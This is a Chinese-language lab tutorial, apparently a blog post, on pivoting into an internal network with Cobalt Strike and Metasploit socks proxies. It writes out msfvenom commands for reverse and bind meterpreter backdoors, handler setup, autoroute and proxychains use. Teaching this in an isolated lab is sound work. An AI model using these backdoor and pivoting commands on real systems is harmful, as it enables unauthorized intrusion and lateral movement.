MSF-CobaltStrike实现内网socks代理转发上线


前言描述

在内网渗透时,常常出现网络不可达的情况,例如我们获得一台web主机的权限,该主机可以访问另一台主机,但我们本机是无法直接访问该内网主机的,而且该内网主机连不上外网

我们就需要将web机作为跳板,将我们主机的流量转发到不可直接访问的内网主机,就可以开始实现渗透测试获取内网主机权限了,如图

知识补充 :

反向连接 vs 正向连接的区别:

  • 反向连接:受害主机主动出来,适用于有出网权限的情况
  • 正向连接:攻击机主动去找,适用于无出网权限的内网主机

环境准备

虚拟机:

三台vmwarw虚拟机

攻击机:Kali

Web机,内网主机:两台win10

网络配置:

VMware网络配置

vm准备三个网络:
VMnet1:192.168.189.0/24 仅主机
VMnet6:192.168.42.0/24 仅主机
VMnet8:192.168.41.0/24 NAT模式

VMnet8:实现本地主机kali虚拟机进行互联
VMnet6:实现kali虚拟机web主机进行互联
VMnet1:实现web主机内网主机进行互联

本地主机与虚拟机网络配置

本地主机

由于是在虚拟机环境,本地主机默认所有的虚拟机都可以访问,所以记得在本地主机需要禁用VMnet1,VMnet6两个网络,这样本地主机就无法访问Web主机和内网主机的网络了

Kali攻击机

Windows10 Web靶机


window10 内网机:

通过以上配置基本实现了:

本地主机和Kali攻击机互通,kali攻击机可以访问web机,web机可以访问内网机

内网主机ip为192.168.189.132,图片有点问题

CobaltStrike

socks代理工作原理:

CS的socks代理是通过已控制的跳板机(Web主机)建立一个流量转发通道,具体流程如下:

复制代码
本地主机/攻击机 → socks代理端口 → 跳板机(Web主机) → 内网目标主机

1.CobaltStrike启动

Kail主机作为服务端启动

本地主机作为客户端,

2.上线第一台web主机

配置监听

上线ip一定要填kaliweb机可以互通的网段ip:192.168.42.0/24,监听端口不要占用了

生成exe后门放到web机上线

3.验证环境

先在内网主机起一个简单的web终端

网址为:http://192.168.189.132:9999 (刚刚图片ip有问题)

此时这个网页只能web主机和内网主机访问

现在情况kali是不能访问

接下来我们要实现本地主机和kali可以访问

4.实现CS转发

我们使用CSsocks代理转发

记住端口:27910

5.本地主机走代理端口

使用Proxifier进行流量转发

1. 添加代理服务器


2. 添加代理规则


规则说的是任何192.168.189.0/24的ip都走刚刚配置的代理端口

3. 验证主机是否可以访问
  • 本地主机访问
  • Kali的curl访问
bash 复制代码
curl -x socks4://192.168.41.128:27910 http://192.168.189.132:9999

6.上线内网主机

web主机上线使用的是反向连接(防火墙严进,宽出)

内网主机上线需要正向连接(内网主机不通本地主机,需要本地主机通过跳板去找)

重新生成正向连接的后门

挂目标本机的4444端口

在内网主机运行后门

该主机成功监听本地4444端口

现在直接在CS上线的web执行connect命令就行

复制代码
connect 192.168.189.132 4444


成功上线内网主机

MSF

msf的转发大体和CS是类似的,主要是纯命令行的使用

1.生成后门

生成后门上线web端的主机(ip要能和kali通讯那个ip)

复制代码
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.42.130 LPORT=4444 -f exe -o shell_x64.exe

2.上线web端后门

kali端进行监听

复制代码
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
run

运行后门上线

3.msf路由表配置

更新/查看路由表
复制代码
run post/multi/manage/autoroute

自动添加路由表

  • 这个命令会自动扫描当前已控制主机的网络接口和路由信息

  • 根据扫描结果,自动添加所有发现的内网网段到 MSF 的路由表中

  • 使得 MSF 可以通过当前已控制的主机访问其所在的内网其他主机

    run autoroute -p

查看当前路由表

  • -p 参数表示 "print"(打印/显示)
  • 这个命令会显示当前 MSF 中已配置的所有路由规则
  • 让你了解哪些内网网段可以通过当前会话进行访问

路由表的作用:

告诉MSF:"当你需要访问192.168.189.0/24网段时,不要直接尝试(会失败),而是通过Session 1(Web主机)来转发流量"

4.设置socks代理

使用background命令回到msf控制页面

使用msf的转发代理模块配置代理

bash 复制代码
use auxiliary/server/socks_proxy
查看参数
show options
可以根据情况设置socks版本,socks5或者socks4a
set srvport 1080
set version 4a
exploit

执行完kali本地的1080端口就可以通过web主机代理流量到内网主机了

5.验证代理

  • 使用curl命令
bash 复制代码
curl -x socks4://192.168.41.128:1080 http://192.168.189.132:9999
  • 使用本地工具proxychains
    编辑本地的proxychains程序配置文件
bash 复制代码
vim /etc/proxychains.conf

可以通过proxychains访问内网环境了

bash 复制代码
proxychains curl http://192.168.189.132:9999
  • 使用环境变量
bash 复制代码
export https_proxy=socks4://0.0.0.0:1080 http_proxy=socks4://0.0.0.0:1080

访问的问题解决了,就是使用msf的正向连接了

6.内网主机正向连接上线

生成shell

bash 复制代码
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=5555 -f exe -o bin_shell_x64.exe

运行

msf连接

bash 复制代码
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhost 192.168.189.132
run

最好再更新一下路由

bash 复制代码
run post/multi/manage/autoroute

成功上线内网主机

由图可知
192.168.42.130->192.168.42.128
192.168.189.128->192.168.189.132

kail主机是通过web主机来连接内网主机的

至此,我们已成功通过实验完成Cobalt StrikeMetasploit的内网横向渗透。

免责声明

本文所述过程仅用于安全研究与教育目的,旨在提升对软件安全风险的认知与防御能力。所有操作均应在合法授权的隔离实验环境中进行,严禁用于任何未授权的系统渗透、攻击或非法活动。作者及发布方不对因误用、滥用本文内容而导致的任何直接或间接损失承担责任。用户须自行承担使用风险,并严格遵守《中华人民共和国网络安全法》及相关法律法规。

相关推荐
脆皮的饭桶2 小时前
结合使用,实现IPVS的高可用性、利用VRRP Script 实现全能高可用
运维·服务器·网络
xixixi777773 小时前
2026 年 03 月 20 日 AI+通信+安全行业日报(来更新啦)
大数据·人工智能·安全·ai·大模型·通信
源远流长jerry3 小时前
DPDK MP (Multi-Process) 通道深度解析
linux·网络·架构·ip
抹茶咖啡3 小时前
IT运维的365天--042 骚操作之--用IPSec给远程桌面上把锁
运维·网络·it运维
王琦03183 小时前
第三章 linux文件类型和根目录结构
linux·运维·服务器
minji...3 小时前
Linux 文件系统 (三) 软连接和硬链接
linux·运维·服务器·c++·算法
SuperEugene4 小时前
TypeScript+Vue 实战:告别 any 滥用,统一接口 / Props / 表单类型,实现类型安全|编码语法规范篇
开发语言·前端·javascript·vue.js·安全·typescript
源远流长jerry4 小时前
DPDK 内存管理深度解析:从大页到 Mbuf 的完整链路
linux·服务器·网络
always_TT5 小时前
字符串输入:gets vs fgets(安全问题)
数据库·安全